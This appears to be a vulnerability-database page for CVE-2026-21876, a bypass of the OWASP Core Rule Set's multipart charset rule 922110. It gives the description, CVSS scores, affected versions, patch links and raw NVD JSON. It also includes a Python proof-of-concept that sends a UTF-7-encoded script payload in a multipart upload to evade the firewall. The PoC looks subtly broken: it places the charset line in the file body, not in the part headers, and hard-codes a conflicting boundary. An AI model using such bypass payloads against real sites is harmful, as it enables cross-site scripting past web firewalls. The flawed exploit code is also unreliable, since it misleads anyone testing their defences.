Security Vulnerability Report
中文
CVE-2026-21876 CVSS 9.3 CRITICAL

CVE-2026-21876

Published: 2026-01-08 14:15:57
Last Modified: 2026-04-09 16:16:26

Description

The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 4.22.0 and 3.3.8, the current rule 922110 has a bug when processing multipart requests with multiple parts. When the first rule in a chain iterates over a collection (like `MULTIPART_PART_HEADERS`), the capture variables (`TX:0`, `TX:1`) get overwritten with each iteration. Only the last captured value is available to the chained rule, which means malicious charsets in earlier parts can be missed if a later part has a legitimate charset. Versions 4.22.0 and 3.3.8 patch the issue.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:owasp:owasp_modsecurity_core_rule_set:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:owasp:owasp_modsecurity_core_rule_set:*:*:*:*:*:*:*:* - VULNERABLE
OWASP CRS < 3.3.8
OWASP CRS < 4.22.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
'''CVE-2026-21876 PoC - Multipart Request Bypass This PoC demonstrates how to bypass OWASP CRS rule 922110 by placing a malicious charset in an earlier multipart part. ''' import requests target_url = "http://target-webapp.com/upload" # Construct malicious multipart request # First part: contains malicious charset (will be overwritten) # Last part: contains legitimate charset (only this is checked) files = { 'file': ( 'malicious_part.txt', 'Content-Type: text/plain; charset=UTF-7\r\n\r\n+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4', 'application/octet-stream' ), 'legitimate_file': ( 'normal_part.txt', 'Content-Type: text/plain; charset=UTF-8\r\n\r\nNormal content here', 'application/octet-stream' ) } headers = { 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary', 'User-Agent': 'Mozilla/5.0 (PoC for CVE-2026-21876)' } try: response = requests.post(target_url, files=files, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21876", "sourceIdentifier": "[email protected]", "published": "2026-01-08T14:15:57.087", "lastModified": "2026-04-09T16:16:26.437", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 4.22.0 and 3.3.8, the current rule 922110 has a bug when processing multipart requests with multiple parts. When the first rule in a chain iterates over a collection (like `MULTIPART_PART_HEADERS`), the capture variables (`TX:0`, `TX:1`) get overwritten with each iteration. Only the last captured value is available to the chained rule, which means malicious charsets in earlier parts can be missed if a later part has a legitimate charset. Versions 4.22.0 and 3.3.8 patch the issue."}, {"lang": "es", "value": "El conjunto de reglas base de OWASP (CRS) es un conjunto de reglas genéricas de detección de ataques para usar con firewalls de aplicaciones web compatibles. Antes de las versiones 4.22.0 y 3.3.8, la regla actual 922110 tiene un error al procesar solicitudes multipart con múltiples partes. Cuando la primera regla en una cadena itera sobre una colección (como 'MULTIPART_PART_HEADERS'), las variables de captura ('TX:0', 'TX:1') se sobrescriben con cada iteración. Solo el último valor capturado está disponible para la regla encadenada, lo que significa que los conjuntos de caracteres maliciosos en partes anteriores pueden pasarse por alto si una parte posterior tiene un conjunto de caracteres legítimo. Las versiones 4.22.0 y 3.3.8 parchean el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-794"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:owasp:owasp_modsecurity_core_rule_set:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.8", "matchCriteriaId": "85E31C8A-3287-4CD7-A3C8-29FB164CB229"}, {"vulnerable": true, "criteria": "cpe:2.3:a:owasp:owasp_modsecurity_core_rule_set:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.22.0", "matchCriteriaId": "1FCBECBB-D90D-4883-81FF-F5F43C7A926C"}]}]}], "references": [{"url": "https://github.com/coreruleset/coreruleset/commit/80d80473abf71bd49bf6d3c1ab221e3c74e4eb83", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/coreruleset/coreruleset/commit/9917985de09a6cf38b3261faf9105e909d67a7d6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/coreruleset/coreruleset/releases/tag/v3.3.8", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/coreruleset/coreruleset/releases/tag/v4.22.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/coreruleset/coreruleset/security/advisories/GHSA-36fv-25j3-r2c5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/daytriftnewgen/CVE-2026-21876", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}